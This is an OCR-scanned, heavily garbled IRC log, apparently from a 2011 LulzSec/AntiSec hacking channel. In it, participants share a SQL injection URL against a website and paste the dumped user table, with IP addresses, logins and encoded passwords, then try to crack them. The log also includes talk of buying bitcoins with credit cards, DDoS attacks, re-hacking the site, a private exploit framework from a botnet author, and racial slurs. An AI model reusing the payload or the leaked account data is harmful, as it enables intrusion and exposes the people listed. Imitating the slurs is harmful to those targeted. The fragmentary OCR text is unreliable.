17:34 <f 
17:35 < 
17:35 < 
the news 
17:35 
17 
17 
17 
17 
17 

17:40 
17:40 
17:40 
17:40 
17:40 
17:40 
17:40 




cou Id you RT that: 
r . com/#! /Lul zSecITALy/status/95456294303051776 

? 

its seems to be important for the italy people 
uhm what is it? 

i have to translate and read that first 
meh 

fail kitty on pastebin 
: c 

It's a blod claim with no proof whatsoever it seems 

mmmm 

it seems half of anonops 
just died again 

ol ' 

whats that lulzsecltaly? 
(wondering if i know someone there) 
ah it's 

ehackernews . com/2011/07/cnai pi c-i tal i an-government-hacked-by . html 
the hack is verfied i guess since they delivered enough evidence 
yar i didnt see the images 

but either way, it's a day old now and was already tweeted and in 

yeah 
ok 

wheres 



anyboay knows how to buy bitcoins with CCs? 
qui ckly 
no idea 
yes 

sign up for dwolla 
It's possible? 
link cc 

use some exchange that accepts dwolla, which is most 

anyone want to try ? 
order VPS? 

I have a VPS bought with bitcoin 
: P 

the hub of this IRC is running on it 

so this is your ircd? 
I was wondering as to whose server we were chatting on 
i'm more comfortable here than anonops for sure but still would like 
not backdoored 

kerpia-FBCDF7B6.ae-static.anteldata.net.uy] has joined 



by confuzion 



e/#! sunnydays [+o 
whassup 
btw 

yes, this is my IRC 
y am i not +q? 

hi mtM 

^rt^ne only oper and the only person that has server access :P 
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17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 
17 



:43 
;43 
;43 
;43 
;43 
;43 
;43 
;43 
;43 
;43 
;43 
:43 
:43 
:43 
;43 
;43 
;43 
;45 
;47 
;47 
:48 
:48 
:48 
:48 
:48 
;49 
;49 
;49 
;50 
;54 
;57 
;57 



#! sunnydays .log 
is off by default 




auto-op 

_ up 

#! sunnydays 
uh? 

idk why 

It was on before 
nop 

not if you identify 
was always autoopped as _ 

this is the VPS tha 

atter joining 
m the hub is, yes 
^^entified after i 



bitcoins? 



entered room 



I have two leafs and one hub 
the hub is paid with bitcoin 
@ cinfu 

any of you guys got a list of open resolvers? 
ok ppl we sho make that bitcoins buying thing work quickly 
for those case we r able to 
talking bout it now 
what bitcoins thing? 
are you guys mining? 
lol 
buyi ng 
what for? 
vps 

i can get us money 

ok 

is now known as ^^^H 

...] 

<xWlNKz> i went down to 



Just right after i read about lulzsec 




the local library and got a 
and anonymous =D 



book about c++ 



for 



[...] 

i think i will change my nick to 
zlex 

so im not at top on #antisec 
He contacted me too. 
dont get the whole querys 

we need a learning channel for things like webdev, programming, 

constructive actions 
also media stuff 

there's #tutorials for cracking (basically), there's 

IRC 

there's school41ulz for cracking 

would be nice to have an actual channel with actual 'classes' 

more constructive things 

uhm it's not about a channel, it needs active people who are 
and explain there 

there were many help channels most ended up being dead 
ofc 

but help in general is different from classes 
yahoo answers isn't the same as w3schools either 
I've found school 41 ulz and to a certain degree #tutorials and 
e the first examples of actually active channels with people 



#opnewblood 
17:59 <' 
18:00 < 
for the 
18:00 < 
wi 1 1 i ng 
18:00 
18:00 
18:01 
18:01 
18:01 

18:02 

#opnewbloo 

actively teaching others 
18:02 
that 
18:02 
18:02 
18:02 
18:03 
anonops 
18:03 < 
of loic 
18:04 < 





all well but you will still need the people who are willing to do 



of course 

but I think that might be feasible 
everyone has something he's good at 

and if done right it may actually attract more people to 



people that would otherwise stay away because 
anyway ' 

talking about 
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18:04 
18:04 
18:04 
18:04 
18:04 
18:04 
18:04 
18:05 
months 
18:05 < 
18:05 < 
'omg I 
18:05 <' 
18:05 
18:05 
18:05 
18:05 
18:05 
18:05 
18:05 
18:05 
18:05 
18:06 
18:06 
18:06 
18:06 
18:06 
18:06 
for winkz 
18:06 
18:06 
18:06 
18:06 
18:06 
18:06 
18:07 
18:07 
18:07 

18:07 

pedo website 
what are you 



#! sunnydays .log 
we r kind of losing activists 
cause as i got as feedback 
we turned too much hackish 

there's a reason I've been discouraging LOIC :P 

onestly I'd say the opposite 
for weeks/months by now 
hooking up with resistance communities in my area 
have been absolutely amazed by the recent work over the past 1-2 




:D 

to ddos 
massive boost 



tbh I think #antisec was a massive boost 

in the past few months, before #antisec, it was pretty much 
oic a site, op done' 
s all over indymedia, anarchi stnews 
our rep in activist communities have grown 
mm 

this guy i trying to dox me lol 
~ we lost /b/ tards 

good. 
I0I0I 

he keeps asking for my age and stuff 
especially with leaked docs as opposed 

as I said, I think #antisec was a 

we should get propaganda working hard again 
<xWlNKz> how old were u ? 

o^^Sz> do not say its secret 

<XWlNKZ> - - 

<xwlNKz> whatever man, ill join you in the next year be prepared 
lulzsec 2012! <33 

<XWlNKZ> *" EXPECT ME lol 

yesh yesh, working on #voice site already, lol 

tfie fuk 
wat lol 

retards everywhere, lol 

esig n ers a nd media related ppl 
<(^g^H^B retards everywhere, 

Atkn this 
lol 

my conversation 
yes" - "uhm, no. 




wasted as active resources 
lol 



was like "Did you think abt my idea?" - "the 
..don't think there's time for that atm" - "ok. 



:D rauwowowowow 



working on?" - "stuff on the computer" - "so it's a secret? :D :D :D 



18:07 
18:08 
18:08 
18:08 
18:08 
18:08 
18:08 
18:08 
18:09 
18:09 
18:09 
18:09 
18:09 
18:09 
18:09 
18:10 
18:11 
gi rl 
18:11 < 
18:11 
good 
18:11 
18:11 
18:12 

18 : 12 

http://www 





stuff on the computer would actually be a nice meme :> 
ty 

he does not get why we not give him information 
hm. . . pedoobear site would be succesf ul . . . 
lol 

it's "stuff on computers" 
lolol 

men, create your own meme :> 
not-so famous quote, 
stuff on computers is an old meme 
"so what do you do?" 
"computers" 

"what kind of thing on computers?" 
"stuff on computers" 
d like beginning 90 's minimum 
80s for old ppl 

ken thompson was in a bar close to Bell labs and talking with a 

said that 

ttp : //www. i nf ormati onweek . com/news/government/1 eadershi p/ 
maybe worth retweeting 

so., to be honest we should go far back in the past 
attributes resignation of US-CERT leader to antisec 
ets build a time machine 

ormati onweek. com/news/government/leadership/ 
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18:12 < 
18:13 < 
18:13 < 




responsible for 
effective immediately. 



18: 
18: 
18: 
18: 




they're losing the war 
the cracks in their armor are showing 
oh i didnt see this before 
fucking connection 

06:22 < > I want to release a major leak, we owned CNAIPIC Italian 
and found out about major evidence concealment conspiracy involving 



had the torrent 



#! sunnydays .log 

nice 

US-CERT Director Leaves Abruptly 

Randy vickers, head of the organization 

protect ing t he U.S. against cyber attacks, has resigned 
18:13 <a|^^score one for thegood guys 
18:13 <(£^^hragequit 
18:14 <2fl^^ta haha yeah 

18:15 H [^■8FC68BF0.ClA97Dgg.F3E927CC.IP] has quit [User quit: 

Leavi ng] 
18:15 < 
;15 
;16 
;16 
;16 
Cyber 

severa l gov a gencies and corps worldwide 
18:16 <<^|^^H 06:22 < > >»all information inside 
http://pasteMn.com/r21cExeP twitt it and post on 

http://thepiratebay.org/user/AntiSecurity you can have the Cc) of it tnx in 

btw 

who the fuck is punkR 

that was tweeted yesterday already 
he also keep querying me 

and uhm where is the torrent? 
same 

wanted to know where I'm from and stuff 
i certainly would upload to tpb if i 

but i didnt see any 

there is none by now 
yep 

i understood that 

tweet the pastebing and post it on tpb 
but i think hes always talking about the pastebin 
imagine more is coming 

well i cant post on tpb w/o a torrent obviously, lol 
and i already tweeted that yesterday 
it was on hacker news 

hopefully they will come into contact again soon 
allow us to help them mi rror/distro the files 
it's clr on anonops 
at least he knows about it 
channel died :oo 

thecure survived quite well since i lost my connection 
wow and antisec is up to 560 ppl again 
yeah 

yeah network is pretty good recently 

seems they gave up for a while 

earlier today the lag went up to 60 sometimes 

heh, well i guess there is always some kind of ddos 
<^^^ragequit 
IRL ragequit :D 

should continue using thecure or is any other discrete server 

I am on felicity 
and it somewhat works 
thecure probably still is the most stable one. 



advance 


18: 


:16 


<i 


18: 


:16 


<i 


18: 


:16 


<■ 


18: 


:16 


<i 


18: 


:16 


< 


18: 


:17 




18: 


:17 




18: 


:17 


< 


18: 


:17 


< 


18: 


:18 


<i 


18: 


:18 


<i 


18: 


:18 


<i 


18: 


:18 


<i 


18: 


:18 


<i 


18: 


:19 


<i 


18: 


:19 


<■ 


18: 


:19 


<■ 


18: 


:20 


<■ 


18: 


:20 


<i 


18: 


:20 


<i 


18: 


:20 


<■ 


18: 


:20 


<■ 


18: 


:31 


< 


18: 


:31 




18: 


:32 




18: 


:32 


< 


18: 


:32 


<i 


18: 


:32 


<■ 


18: 


:32 


<■ 


18: 


:32 


<i 


18: 


:33 


< 


18: 


:37 


<i 


18: 


:37 


<i 


18: 


:39 


<i 


asi de? 


18: 


:40 


<i 


18: 


;40 




18: 


;40 




fine 




18: 


:41 


<■ 


18: 


:41 


< 


18: 


:41 


< 


18: 


:42 




18: 


:48 




18: 


:48 




18: 


:50 


< 


18: 


:52 








but atm many work 




heh 

wil wheaton on our side 

http : //twi tter . com/# ! /wi lw/status/95 563378143145984 
[^^8fc68bf0.C1a97d99.f3e927CC.ip] has joined #! sunnydays 
ack 



so clones? 
so, a rough idea i 



^ „ have. A #1 earning channel or some shit, with 

a bot that you can use to plan 'classes' (and an accompanying site) that you want 
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# lsunnydays.log 

to give. People can 'sign up' for a class by messaging the bot (when their nicks 
are registered), and the bot will keep track of people who are going to 'attend', 
and send out reminders to all participants that are online in the minutes before 
it star ts, it'll keep the 

18:52 <^^H^^H channel topic updated with the 

date/time/subject/more-info-link of the next upcoming class as well as the number 
of people that has signed up for it. 



18:52 
18:53 
18:53 
18:53 
18:53 
18:53 < 
1 essons 
18:54 < 
18:54 
18:54 
18:54 
18:54 <' 
18:57 < 
18:57 < 
18:59 < 



19:02 
19:02 
19:04 <' 
19:04 
19:05 
19:06 
19:18 
[user 
19:38 
19:50 
19:54 




y/n? 

ol ^^HB 

is notaoaa idea indeed 
vi rtual school 
yes, exactly 

and the best thing, if the bot keeps track of who is giving the 

you can just let those giving classes, use bot commands 
to mute the channel, kick people, etc 

have to say the word 'school' gives me some rush from the past) 
without them needing actual op 
and ye, I tried to avoid the word school 

but yeah, ©all 
feasible idea y/n? 
dea certainly is feasible, but as i said, you will need the 



who actually prepare and teach the classes 





yes ofc 

those will come 
_ if there is an infrastructure 
1 doubt that 

usually its the other way round 
but the idea is good 

yup. content > infrastructure for content 
[^^^^|kerpia-FBCDF7B6.ae-static.anteldata.net.uy] has quit 

Leavin^^^^ 

ololololol 
all dead? :D 

http : //gl obal ji had . net/pri nt . asp?i d=-l%20UNlON%20SELECT%201— 
http://global jihad. net/print. asp?id=-l UNION SELECT 1,2,3-- 

3 

hey, that was the sqli I found :D 

http : //wi ki . debi an . org/MeetBot 

east blind 

It is in pure python, as a plugin to supybot. 



19:56 
features 
19:56 < 
wi 1 1 
19:57 < 
19:57 < 



no. 

just no. 
lol 

also, I prefer writing my stuff from scratch 
1. it will be exactly how I want it 



know exactly how it works so I 



no bloat or missing of 
can easily modify it at 



they seem to set up classes 



just ran into http://wiki.debian.org/IRC/debian-meeting that's how 



20:00 < 
20:14 < 
20:15 
20:18 
20:23 
20:25 
20:25 
20:26 < 
20:26 < 
20:27 




current user: ^^^^^^^ current db _ 
just dump and r^^as^!^hout further e 
And what is this website even about? 
nvm ... al ready got it :> 

has quit [Input/output error] 

or^r^^^^nari 

totally forgot about Breaking Bad 
S04E01 + E02 are out \o/ 
mce :D 



is-dba: false 



20:27 <^^H I USUATIVO | USUCODIGO | USUDATACADASTRO 

I USUIP I USULOGIN I USUNOME 

I USUULTACESSO | 
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#! sunnydays .log 

20:27 <S^H 

+ + + + + 

+ + + + 

20:27 <(£iH 1-1 15 | 2009-10-26 07:16:16 | 

^^^^^^^^^^^^^^H I 87.68.53.251 editor editor 

I AjA^B^jiAyA:! | iUll-07-25 13:33:19 | 

20:27 <»■ 1-1 I 4 | 2007-02-28 12:00:40 | ^^^^^^^m 

I OTr229.1.63 I ^^^H ^^^H ^T7A79DAig2A29AA6 

I 2011-01-06 15:45:10 | ^^^^ 

20:27 <<S^m I 1 I 1 I 2006-10-25 12:47:55 | 

^^^^^^^^^^^^H I 84.229.220.204 | administrator | System 
CTnmstratorT^5A46Ab5999F | 2011-03-08 15:29:00 | 
20:27 <qBjB 

+ + + + + 

+ + + + 

20:29 <^^H^H yeah 

20:29 <(£^S^^B we had that 

20:29 <<^m^^m but 

20:29 <(£^H^^H wtf kind of hash 

20:29 <(^^B^^S is that 

20:29 < (3^m^^ 1o1 

20:29 < (^M|^ ^^J it isnt even a hash I think 

20:29 < g^^g mayb e no hash at all 

20:29 <^^^^H^H ^ thought it was Unicode in hex 

20:29 <^^^^^^M but that didn't turn up anything useful 

20:29 <^^^^^^| even though the characteristics match 

20:29 <(c^H^^H sets of 4 times 0-F 

20:29 < <S^B^^M "°P^ '■'^ 

20:31 <(c|^H^^^ maybe some kind of rotated Unicode hex? 
20:31 "^^^^^H smells homebrew security 

20:33 <~^^^^^^andom people begin to "like" my facebook pix heh 

20:33 <g^| hrhr 

20:39 <^^H_^PHI Sabu_ do any of you know a guy called ^^H? 

20:40 <~^^J^^n^s one of the most annoying guys i'ev met. 
20:40 <(£^H 20:40:27 i found xss bug in yahoo 

20:40 < (c^B 20:40:41 it's ok 

20:40 <^^S 20:41:06 i found xss bug or sql in other big sites 

20:40 20:41:19 but need help 

20:40 20:41:56 can you help me? 

20:40 <(3^M 20:41:59 Help in which way? 

20:40 <^^H 20:42:13 W^m baking 

20:40 <f^^| 20:42:22 ^ mean what exactly you need. ;) 

20:40 < g^^[ 20:42:49 oh ,any one can help me for injection 

20:40 <^^B 20:42:59 because i can do it 

20:40 <^^H 20:43:06 for some resaon 

20:41 <^^H 20:43:19 i give you guys link 

20:41 20:43:37 and then you do this 

20:41 20:43:50 i have gov ,mil etc 

20:41 <d^M 20:44:01 Already disclosed any of those? 

20:41 <g^E 20:44:24 I^H why? 

20:41 < ~^^^^B i thinl^^^J talked to him for a while then gave up 

20:47 <(c^^^^pok anyone Knows a way to reset a hard disk passwd without touching 

the logic board? 

20:48 <~^|^^| not if it's done any good, depends on the HDD and how it is 

protect ed ac tually 

20:50 < g^^B H idden os feature for linux @ truecrypt would be nice somehow. 
20:51 <^^^H http : //twi tter . com/# ! /charl esarthu r/status/95483761919143936 
20:52 <-^^^h hey 
20:52 <( 3^^m \o 

20:52 < ~M^^M still cant add you as sister, does it work the other way around? 
20:52 <(£^^^H^lemme see 

20:52 <'^^^Hi ^nd uhm, what is he talking about? 
20:53 <^^^^H~the hd password is set in the hardware 
20:53 <^^^^H so if u change the disk 

20:53 <^^^H no, didn't let me, but it let me accept Eric as father 
20:53 <^^^^| it will stay there 
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20:53 < 
20:54 < 



# lsunnydays.log 
(i mean if u hange the disk from one computer to other) 
i know how IBM did it with notebooks... and that cant be undone 



without connecting to the hardware directly (serial port) 



20:54 
20:54 



< 

20:58 < 
20:59 < 



what happens if you enter my name? 

1 ]ust get the old 
I don't get anything 

Hm :/ 

20:59 <©Sabu> im back 
20:59 <©Sabu> sup nigs 

20:59 <©Sabu> just read the CERT guy quitting 
yo sabu 




20:59 <- 



20:59 <@Sabu> ROFLROFLROLFORFOL 
20:59 <@Sabu> sup 



20:59 <- 



;) 



20:59 <@Sabu> anything else interesting going on? 
20:59 <@Sabu> that cert shit 
20:59 <@Sabu> just made my life a it etter 
20:59 <(asabu> it 
20:59 <(asabu> bit 
20:59 <~ 
20:59 <~ 
21:00 <(! 



i'm having a slow day 
not feeling fancy today 

Charles Arthur is trying to get twitter software to figure out 

when twitter accounts tweet at the same time, and visualize 

conversation/connection maps, and shortly after he said "something has come up in 
my investigation on LulzSec" 





21:00 < 
21:00 < 
21:00 < 

21:01 < 

seems that he 
21:01 < _ 
ive found 
21:01 < 



21:01 
21:02 

21:03 < 

21:03 < 

21:03 < 

21:03 < 

21:03 < 

21:03 < 

21:03 < 
21:03 
the U.K 





ohlol 

Aaron Barr Techniques 
Advanced ! 

08:51 <derOxr> was helping me with this earlier, but it 

IS offline now, so, would you 

care to try and help me injecting this jihad site? 
nerable point, but cant get 

anything from it. 
still on that? 
global jihad? 
suppose so 
did anything come of the Italian stuff? 
havent seen the whole release yet 
not yet 

wit h the possible reverse connections/infected pdfs 
was talking about files being malware 
ut the pastebin got ~20k hits by now 

At least four of the 21 suspected Anonymous hackers arrested in 
Netherlands and U.S. have reportedly agreed to help the authorites 
track d own oth er Anonymous and LulzSec members. 
21:04 <^^^^H^snitches everywhere 
21:04 <~^^^^| and how would they do that? :p 
21:04 <(£■■■ 

http : // uk . i btTmes . com/arti cles/1862 32/2011072 5/anonymous-l ulzsec-hackers-antisec- 
securi ty-hack-hacked-nato-f bi -arrested-arrests . htm 

and by four, they mean four camwhores that know nothing about 

the funny thing is 

"of the suspected hackers in UK, NL, and US" 
however 

all four 'snitches' 
are from NL 

SO WHY THE FUCK TALK ABOUT US AND UK 

fucking journalism, they no has it 
maybe Awinee jumped infront of the camera again :B 

wasn't NL, right? 

that might be an issue 
no 

clueless antisecnl kids 
know absolutely nothing 
is US 
about anyone 
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;06 


<@ 


anythi ng 


21; 


;08 


<@ 


21; 


;08 




21; 


;08 




21; 


;08 




21; 


:08 


<l 


21; 


:08 




21; 


;08 


<@ 


21; 


;08 




21; 


;08 


<@ 


21; 


;08 


<(9 


21; 


;08 


<@ 


21; 


;09 


<^ 


21; 


;09 


<@ 


21; 


;09 


<^ 


21; 


;09 


<~j 


21; 


;09 
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21:09 <' 
21:09 < 
21:09 < 
21:09 




#! sunnydays .log 

or anything 
and he talked to ss on the phone 

except for things that you can find out by lurking anyway 



21:09 



USUSENHA 
21:09 < 



<^^B USUATIVO 
USUIP I 
USUULTACESSO 



USUCODIGO 
USULOGIN 
I 



USUDATACADASTRO 
I USUNOME 



I USUEMAIL 
I 




21:09 <' 



I 5 

87.68.53.251 



21:09 < 




2011-07-25 13:33:19 | 
-1 I 4 

I 84.229.1.63 
2011-01-06 15:45:10 | 

1 I 1 

I 84.229.220.204 



AB5999F 



I 2011-03-08 15:29:00 | 



I 2009-10-26 07:16:16 | 
I editor | editor 

I 2007-02-28 12:00:40 | 



I 2006-10-25 12:47:55 | 
administrator | System 



21:09 
21:09 
21:09 
21:09 
21:10 
21:10 
21:10 
21:10 




<@Sabu> 15:12 _ 
supposed to reconnect 
21:13 <@Sabu> 15:12 
be great 

21:14 <©Sabu> 15:13 



re: global jihad 
find out how their passwords 
are encoded 
lol 

at kind of variable encoding is that? 0_o 
thats what I was wondering about 
it matches the characteristics of Unicode in hex 
but that didnt yield any useful results 
some Chinese shit, some non-displayable characters 
it's 3x4 and 4x4 0-F 

so technically it could have been a possibility :P 
a4 6a 65 99 9f yeah I see what you mean 
lots of Chink junk 
no 

at the fuck is globaljihad.net if they have an israeli user in 

95A4 6A65 999F 

= Unicode 

was hexing like a bauss 
lol 

it's all pai rs of 4 
rather than pairs of 2 
and seeing as it's global jihad 
Unicode would make sense 

also, the column titles appear to be Portuguese 
but as I said earlier, this smells like homebrew security 
possibly character rotation? 



Starting query in anonops with FTPolice 
hi sabu, Esquire UK here 

I was wondering whether you knew how to contact 

I'd connected with him a few days ago and was 

ere on antisec, but it doesn't look like he's here... 

if there's anyway of getting in touch that would 





The same goes for 

interviews in the piece I'm putting together right now 
21:14 <@Sabu> 15:13 Many thanks for your trouble... 

great work! 

21:14 <@Sabu> you nigs doing an interview? hes looking for you 
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21:15 < 



# lsunnydays.log 
maybe a different charset? 
"i gave him one like a week ago, thought it was complete 

no clue 

I was lazy 

and used html entities 
:3 

just tried regular utf8 
not sure if it may differ 
with other encodings 

so, if you have some time to try., it might be useful 

I mean, when you generate some (for example) tripcodes for 
encodi ng/cracRi ng , you generate plaintext --> gibberish, then the key/hash makes 
sense w hen you convert it to JS-shift charset 
21:15 <^K^^M also makes it stupid as fuck to crack 

21:16 <^^|^ assuming it's in another charset you'd have to convert the 
hex/uni code withi n something that supports that charset :x oh lawdy 
21:16 <@^^^^^M shouldn't that be doable with a web browser 
and different metatags 
for different encodings? 
the lazy way :P 
&#95A4; 
etc 

you sexy nig 

sup Sabu 

also: goddamn these nigger hashes 

why can't they just use good old homegrown momma's MD5, no salt 

because they ' re on a diet 

21:28 <(c^^B just got some more of those hashes in another db 
21:28 <~|^^H 

http ://anonymousacti on .wordpress .com/2011/07/2 5/15m-movement-a-weekend-of -protest 
ing- raids -in-mad rid/ 

nice pic 
but still now clue 
•another table 
'■no 





hashes/passwor 




can you paste those hashes? 

I'm also asking someone on freenode if he knows what kind of 
encodings they may be 
sure, wait a sec 
http : //pastee . org/847b4 
mm 

not all pairs of 4 
u know wheres ^^^^ 
is that pedo thingy pastebin true? 



the log is legit, yes 



21:37 <(i 

be wise to keep 
21:37 <^ 
left 
21:37 < 
stupid 
21:38 < 
21:38 < 



was v& (and it would 




also, the public knowledge is that 
It like that) 

but he decided he was getting tired of people on anonops, so he 
it's hard not to get tired of people on AnonOps, most of them are 



sadly, yes 

you can't get OPs done over there because you start something and 

12 diff erent p ersonal dramas start flying past 

it made the success of the tiny Lulzsec group (at the time) look 



21:38 < 
even more sexy 
21:38 <" 
21:38 < 
21:39 < 
21:39 < 
21:39 < 
one propagan 
21:39 <■ 
21:39 < 
21:40 < 





the main issue currently is "OHAI LOL WE DDOS?" 
wmch, admittedly, #antisec is causing to go away more and more 
so that's good 
loic monkeys are a fucking pest 

Antisec would thrive off two teams of hackers, one media team, and 

team 
30 people tops 

oh wait that's how Anonops has always worked 
all loic does is getting you arrested, it never had any affect; 
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it was the boats. 



# lsunnydays.log 



21:40 < 
21:40 < 
21:40 < 
21:40 < 
21:40 < 

21:40 < 

for Mastercar 
21:41 < 




some months ago you kind of flamed me for saying that 
huh? 
lol 

can't imagine that 
that was always my opinion 
correct; last-minute 50k boats with PayPal, then another 25,000 
boats on future targets = 10k loads and spoofed hive numbers 
but it's probably not the best thing to say in a public channel 



while some ddos with LOIC assist is going on 



21:41 <' 
vi ew 
21:41 
21:41 
i ncremeht 
21:41 < _ 
want *this 
21:41 < 
21:42 <' 

21:42 <' 

media-wise 
21:42 <' 
21:42 
21:42 
21:42 < 




there were 10k boats at a time in the boat channel hidden from 

I think I tweeted somethi ng . . . but can't remember exactly anymore. 

i think it's a sub cipher (maybe even a simple 

asci 1 string that's just hex encoded 

as sure, it gained support, but question is does anonops really 
kind of ppl to support? 

moreover it doesn't need it in the slightest 
lurkers become talkers, talkers end up causing drama 
LOIC has no effect power-wise, but it did have effect 

not anymore, though 
the hype is over 

so there is really no good argument to still use loic 

and then we got new people spending 9 hours on a pad that contains 





2 XSS vulns, who thinks Anon is super serious cyberheroes 
lol 

tRen they put those vulns in a public pad and the admins of the 

facepalms so hard 
it actually happened 
#OpGreenRights - they did just that 
ull disclosure! ! 11111111111 
lol 

tRey had SQLi s/nmaps/xss/targets packed up in an AnonPad... in the 

#OpGreenRights 

trolls came in, copied pad, emailed it to the admins 
all the vulns were fixed within a few hours 
lol? haha 
nice fail 
oh talking about 

what happened with the things from monsanto 
was it released? 
didn't hear anything 
~ about that global jihad site... 

I think the best way to go about it would be gaining some sort 

of othe r access 

21:45 <^^^^^^H ftp access at the very least 

copy their source and pwn their site 
then wait till they fix it 

then steal the algo from their source and reverse it 
and pwn the site again using the hashes 
er 

encoded passwords* 
that's not worth the title hash :P 
actually 
di sregard 
tries something 

in better news, I have fed several hours of my skype calls into 
voice modi ri cation software and learned it all into a nigger, so now I can be a 

nigger 24/7 
21:52 <@Sabu> cocks 





21:54 <' 
21:54 < 
21:57 < 
22:07 < 
22:07 < 
22:07 < 




hey i 
didnt 
you did 
so 



just found a folder in my computer with a monsanto release 
i upload it for u? 



I played around a bit 
with rotation 
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#! sunnydays .log 
used https://pastee.Org/rtgk.j 
got https://pastee.org/heu5k 
either they have insanely strong passwords 
or my algo is not matching theirs 
rofl 

sabu currently uploading all unreleased shit i still have to the 

will then wipe everything afterwards 
so not keeping all our releases, 
we should really use tahoe-lafs 
like, seriously 
y tahoe-that? 
because 

it's essentially 
free anonymous cloud storage 
http : //tahoe-1 af s . org/t rac/tahoe-1 af s 
there is an i2p version 
get people to donate space 
to an antisec storage grid 
et voila 

_ your own free private secure file storage 
we'd need a release server first 

the storage server we have is not public at all, we dont even 



other 
22:31 



suposed 



chest 
22:46 
22:46 
22:47 



directly from there 

"s hidden in the interwebz 

yes, but this way you can actually have redundant free secure 

pi us 

redundant free storage space for public releases, and you just 
gateway server 

fake dropbox accounts, one vps could be running the daemon 
an inbox folder accessable by sftp, there some shared folder in 
u have that shareed folder where some script rsync all there with 
folders with other fakes accounts 
the stocked things are encrypted 
by use from beginning 
by us* 

which appears to be considerably harder 
than tahoe-lafs storage 
: P 

ut more reliable 
cause infrastructure is kept by dropbox on amazon clouds 
howso more reliable? 

8e775b9C.CB47d490.a27e456C.IP] has joined #! sunnydays 

o 
<3 

ow's the rape going? 

i was gonna stop at my friends house but like i realised im 

to start back at work tomorrow so i've had to come home lol 
i forgot : ( 

<3 



I just had the idea that maybe we can run ED off 

who actually runs ed xd? 

tries to eat a 

:D have you ever tryed the mint 
omnomnomnom 

seeing as ^^^^^vS^^^ 

day I'll tnrow you at the lunch counter, rub a bigmac on your 
down." <-- time for a new gf I guess... :> 
_ ohnoes 

Old one is either getting crazy or doing drugs. xD 
this one wont be online soon either 
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22:47 < 
22:49 < 
and canno 

unreasonable 
22:49 < 
searches ana 

22:49 < . 

to mock the 
group's core 
22:49 <' 
22:50 < 
members 




#! sunnydays .log 

http : //th reatpost . com/en_us/b1 ogs/al 1 eged-anonymous-member-f aces-i nternet-ban-mon 
i tori ng-software-072 511 

all 14 1 one users 

"court found that the monitoring has to be tailored to the offense 
"overbroad," and risk violating the Constitution's ban on 

searches and seizures" 

I wonder how much state surveillance falls under "unreasonable 
seizures" 

within hours of the arrests, Anonymous used its Twitter account 

ederal authorities and promise retribution, suggesting that the 
leadership was left largely untouched by the sweeping arrests, 
they just refuse to understand that anon is leaderless huh? 
the law enforcement sweep appears to have netted some mid level 
oot soldiers, rather than generals" 
ew 

rofl 
they 

REALLY 
don; 't get it 

apart from that structure misunderstanding, i 've seen worse 



of a massive mistake 

talking about leadership structures of a leaderless 

rofl 
_ brb 

who cares 

it's good actually 

as long as they believe we have structures with generals and foot 
y does us good 
but. . . 

if even leader sabu has... 
'problems with authority' 
lol 

starts thinking Sabu could become xabu and then.... 
xenu . 

Well didn't you know i am sitting in the flagship of the 

fleet ? 

HOW else would i feel so secure... 

Marcabian Fleet, even 

hail Xenu 
hm 

i start thinking all this is a conspiracy from the Scientology 




Marvabian 
22:58 
22:58 
22:59 
23:02 
23:02 
church 
23:02 

23:03 < 

encryption 
23:04 <' 
23:05 < 
23:06 < 
truecrypt 
23:06 < 
23:07 < 
box and 
23:07 < 
the Start 
23:09 < 
23:09 
23:09 
23:09 
23:09 
23:09 
23:10 
23:10 
23:11 




grabs 
meh, I'm 



tinfoil hat 

getting mad over all those delightful possibilities of 




put 
can 



a mini tinfoil 
i help 
Nah, not really 



hat around his sgi indy screen 

I think I'll go the painful way and use 



why is that painful? 

because it doesn't support full 
I've never done this before 

oh. dont use it on linux, ubuntu supports 



disk encryption @ linux out of the 
full encryption from 




yesterday i tried some 



distros 
don't know. , 
always 



Same with fedora... but 
puppy linux (cause 
ti nycore 
whatelse. . . 
absol ute 
LFS :x 
SE-Li nux 

m u can check some benchmarks in 

about performance 

23:12 <^^H My choices are fde fedora/ubuntu , 
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#! sunnydays .log 

keeping it the way it currently is (partitioned sd card, luks encrypted) or 
hidden os and running *nix just as vm. 

lol generals xD 
i just read u p xD 

0:52 < ^^HH "the law enforcement sweep appears to have netted 
"members .an^Toot soldiers, rather than generals" 

Imao 

polishes his stars 
"wRat'd you use/are you using? :\ I'm totally indetermined. 
imagines General ^^^^ dressed on tighten black leader 
Like Lieutnant eva in command&conquer xD 
a I so, we'd rather be Admirals not Generals 
"lol 

we ' re pi rates f f s 
lol 

IS General Disorder 

we need captain obvious. 
Denny Crane for cap tai n 

has joined #! sunnydays 

"SaDL^^^^H^^^ I told you my developer JUST finished the 

GWEE-ln-Python Core FrameworK in under a week, and wanted help developing exploit 
and scan modules for it 




23:23 < 
23:24 < 



would you help him? 

If I also told you it is to be private, and was written by a 



guy who has so far written TWO p2p botnets on his own 



interested? 



23:27 < 

23:27 < 

(except the 
23:27 < 



■ zip) 



http : //www . medi af i re . com/?4ao42q j i 2g545 j 0 
MAKE SURE YOU UNZIP TO A FOLDER WITH EXACTLY THE SAME FILENAME 



Is GWEE SO far. I currently has a working console, is capable 

of loading plugins, retrieving documentation from the plugms, and registering 
functio ns in plug ins with console commands, and executing those commands. 
23:27 < ^^^^^H Its just about done. I need to do a whole lot of cleaning and 
write some documentation and a 'writing a plugin tut' and it should be ready to 
start coding plugins for. 

23:27 < p^^^^H ive started writing four core plugins: nmap, shodan, hashcrk, 
and TOR.' They are unfinished. Note that the only reason these plugins are in the 
folder marked 'components' and not the folder marked 'plugins', is because 
plugins in the components folder are loaded at startup. Plugins in the 'plugins' 
folder must be dynamically loaded by the system upon request. 
^^'^^ ^,^9VP "° hacking is illegal :0 

23:32 <(g^^g^^he report suggested that the men had been released due to their 
cooperation and willingness to help the Dutch authorities in their investigation, 
and each of the four were said to have made full statements about their hacking 
exploits and interactions with both Anonymous and Lulzsec to the Dutch police. ' 

- its tool development for us ;) 
"so they are a bunch of narcs 

of course they won't say their names 
wonder if anyone had any interactions iwth them 
I had 

with one antisecNL guy 
I was called ^^^g tho 
he was working on a massive Bank release 
gave me FTP axx to it, but my battery failed and I was not 




23:36 < 

keeping logs 
23:36 < 




almost kicked myself in the face! 

had connection to them 

but they know nothing except my nick and my VPN IPs 

well this is troubling cause they are obviously going to name yall 
with what htye know 

how can they name me? 

heh they dont know anything more than anyone else 

well not by name 

like this: you are...^H^^^| 
